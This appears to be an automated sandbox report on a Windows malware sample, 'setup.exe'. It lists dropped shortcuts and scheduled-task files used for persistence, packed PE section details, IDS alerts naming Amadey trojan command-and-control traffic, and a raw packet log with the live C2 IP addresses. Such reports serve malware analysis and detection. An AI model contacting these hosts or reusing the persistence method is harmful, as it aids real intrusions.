Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jun 20 12:38:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.992024454662382
Encrypted:	false
SSDEEP:	48:8jdbTDzrHPidAKZdA1vehDiZUkwqeh9y+R:8xb0ry
MD5:	48BE1055257F71C72921A73F8BE8D8D6
SHA1:	95A57F252F14B64A8BA94EC219AAE183D4D5B444
SHA-256:	B234BEA49A2A3E7C4DEAF0F715B8DF79FF26373B1F1AEDF42FE04F1FEB51B3A9
SHA-512:	606883D3CCD537294C9FC26A185A892EBB62279AF56CE94FC863712DC19982B90E9964181A1BA9852C8BF797994E87774EE8A93D42972C722B2F1044D8797889
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....... ....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.l...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jun 20 12:38:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9796836606342194
Encrypted:	false
SSDEEP:	48:87PdbTDzrHPidAKZdA1hehBiZUk1W1qeh/y+C:87VbU9fy
MD5:	18AA1F23C2EAD7BA7FE73A33C97A18BC
SHA1:	07DC5553F3A23441A99F50DB8344DAE11D2C1690
SHA-256:	3BCE336518465A396F95869957A6014E6A3905220ED227207B2351DB7479E321
SHA-512:	0BB0A9DE46BB0E1E1107FE279F10F7BC17F8D0914E04D8748C8B2630D6D7B73C5D1750FA412C8ABE2CFCE994A1FC9F33D410D885050B5965BFD530D95E89DC3A
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....^. ....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.l...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jun 20 12:38:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.990816240211145
Encrypted:	false
SSDEEP:	48:8mdbTDzrHPidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbFy+yT+:8Ob6T/TbxWOvTbFy7T
MD5:	A194CEE97D355F2FE23395B049883C53
SHA1:	810F29F6663C3C8584572C91CB71FBBFF556E65E
SHA-256:	C127B26B2FF0FC9C5C905664281EA487387B2AA37C865B6041754F5519EA05F9
SHA-512:	0B0012FDE57B77C357FB1DC3CAE15661A98F1F1D7525124C8B868D21439B38C5FA02773800146DCD64CFB449A112291E9B312434F703965379E7EFA293C6F308
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....u.. ....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.l...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Windows\Tasks\axplong.job

Download File

Process:	C:\Users\user\1000015002\b6042db502.exe
File Type:	data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.45385522502206
Encrypted:	false
SSDEEP:	6:pcbrbX45ZsUEZ+lX1YC7UPelkDdtFXqYEp5t/uy0l0t0:pc/rDQ1h7keeDNfXV0t0
MD5:	43A5341C14E10D582FBEE2EFD22731C0
SHA1:	A01A4730B44DD1F57F472F4F7D1AC4F830283F19
SHA-256:	363EBE6AD4AE54865BB577527567310DADB42DF9A980A98F39C52D8707371B20
SHA-512:	33AB185C291C9A0F1CFCA510F305735AF7F0DA999E30FBA5AA0E832D610ED32FF67F8D66FBA13A6569653A76B2586B6CDBD6F61A681E76E0960A9D864B8925B3
Malicious:	false
Reputation:	unknown
Preview:	.....9..z..G.h%...7~F.......<... .....s.......... ....................:.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.8.2.5.4.6.2.4.2.4.3.\.a.x.p.l.o.n.g...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................'.@3P.........................

C:\Windows\Tasks\explortu.job

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	3.4315015670761957
Encrypted:	false
SSDEEP:	6:tZUaPXUG5ZsUEZ+lX1DIQMlmlm6tFXqYEp5t/uy0l1t0:HvYQ1MQM8xfXV1t0
MD5:	33C066950BC228C8D5A3234535D143E7
SHA1:	9A3BB789B069B0FD3A662D0AAA04A966E34F6AB9
SHA-256:	35134297151CEC50EB9FD44731E343A9CF39AB4BEBFE6827D40253BDC111921A
SHA-512:	8369623F7106A3C0C7BA45427DC6CD06F8215980A9BF60BAFBB5BE895BC55D063AD497D8FCAF4544E1995B4BD97D89DD8D08A7E56F2179823F10AF4E900C70E1
Malicious:	false
Reputation:	unknown
Preview:	....(...R..I..q.q.d.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.9.2.1.7.0.3.7.d.c.9.\.e.x.p.l.o.r.t.u...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0.................&.@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950522523899095
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	setup.exe
File size:	1'890'304 bytes
MD5:	20fe52f3ba934b9b7454c194f44d74d0
SHA1:	f38c3041926f329dac459bacce67850dc58ab15a
SHA256:	3dca9b74c06babae491aef6495a256d6d26a4539cdc680b64ea4e0daee9cf603
SHA512:	de74eaa8fcd2dc40da40f09e4c69f41c63282c1d70f352fe3e6f0b7ef70318f5252e520574d428f1bd5c24dc6d55acab9f109b6a6c36718df1f9ead25effccfc
SSDEEP:	24576:1/JK2aIjA7qco3fFT9eSzR160c8LE8x+dyh9tfzHEBZ/QJc0erHIuoDaFtTNihZi:VlfA7kvFJRPpAC+UdTmtQCtouortLka
TLSH:	C195335A9E474DF5C047263187788CED5B24EF0419CE88AD6FD96AF3F2131D42530AAE
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJXr>.Xr>.Xr>...=.Vr>...;..r>...:.Jr>...=.Nr>...;.-r>...:.Lr>...?.Kr>.Xr?..r>...7.Yr>.....Yr>...<.Yr>.RichXr>................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8ad000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66505957 [Fri May 24 09:09:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDDE93AF0AAh
movzx ebx, byte ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FDDE93B10A5h
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
pop es
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x68056	0x6a	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x67000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4ab228	0x10	rcpodcma
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4ab1d8	0x18	rcpodcma
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x66000	0x2d800	486bf649814b9c377adbe4ff36d087ea	False	0.9979824862637363	data	7.983659376043328	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x67000	0x1e0	0x200	c62f105191c70d75d6ecb8bee298825a	False	0.580078125	data	4.47271901300164	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x68000	0x1000	0x200	fa73ae0289558bc65b1fbb9df747dcc7	False	0.1484375	data	1.0302962761524366	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x69000	0x2a6000	0x200	d5b0432eb537afcc8f2b41338858130b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rcpodcma	0x30f000	0x19d000	0x19c400	e50626905eb03e1029921986ce59b383	False	0.9948193033656761	SysEx File - Acoustic tech. lab.	7.954832909258272	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xhzzwohn	0x4ac000	0x1000	0x400	6a044e9b84ef8be3dc3dda0218c2a4a7	False	0.7724609375	data	6.151571619969839	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ad000	0x3000	0x2200	001e971cdd0f71a2894df40fcd647e50	False	0.06364889705882353	DOS executable (COM)	0.7327022413253483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4ab238	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/20/24-15:38:05.142930	TCP	2856122	ETPRO TROJAN Amadey CnC Response M1	80	49705	147.45.47.155	192.168.2.5
06/20/24-15:38:04.167348	TCP	2856147	ETPRO TROJAN Amadey CnC Activity M3	49705	80	192.168.2.5	147.45.47.155

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 20, 2024 15:37:53.250047922 CEST	49674	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:37:53.250051975 CEST	49675	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:37:54.453167915 CEST	49673	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:04.062484026 CEST	49673	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:04.162256002 CEST	49705	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:04.167094946 CEST	80	49705	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:04.167198896 CEST	49705	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:04.167347908 CEST	49705	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:04.172463894 CEST	80	49705	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:04.922715902 CEST	80	49705	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:04.922775984 CEST	49705	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:04.927005053 CEST	49705	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:04.936192036 CEST	80	49705	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:05.142930031 CEST	80	49705	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:05.142973900 CEST	49705	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:05.289944887 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:05.295439005 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:05.295531988 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:05.295648098 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:05.302223921 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:05.733380079 CEST	443	49703	23.1.237.91	192.168.2.5
Jun 20, 2024 15:38:05.733465910 CEST	49703	443	192.168.2.5	23.1.237.91
Jun 20, 2024 15:38:06.046895981 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.046940088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.046974897 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.047008991 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.047009945 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.047058105 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.047064066 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.047079086 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.047099113 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.047133923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.047135115 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.047156096 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.047185898 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.047357082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.047390938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.047416925 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.047447920 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.047497034 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.047559023 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.059365988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.059406996 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.059442043 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.059504032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.059539080 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.162281036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162328959 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162388086 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162422895 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162426949 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.162455082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162463903 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.162486076 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.162492037 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162507057 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.162528038 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162549973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.162561893 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162590981 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.162599087 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162611961 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.162635088 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162653923 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.162673950 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.162688017 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.162729025 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.163665056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.163701057 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.163734913 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.163767099 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.163775921 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.163798094 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.163816929 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.164596081 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.164634943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.164668083 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.164700031 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.164704084 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.164726973 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.164752007 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.166404009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.166439056 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.166471004 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.166505098 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.166522980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.166522980 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.166574955 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.171540022 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.171653032 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.171725988 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.171760082 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.171792984 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.171843052 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.171875954 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.314563036 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.314595938 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.314611912 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.314687967 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.314748049 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.314754009 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.314769983 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.314785957 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.314801931 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.314836979 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.315020084 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.315084934 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.315129042 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.315155029 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.315161943 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.315212965 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.315220118 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.315237045 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.315268993 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.315301895 CEST	49706	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:06.315412998 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.315427065 CEST	80	49706	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:06.315442085 CEST	80	49706	77.91.77.81	192.168.2.5
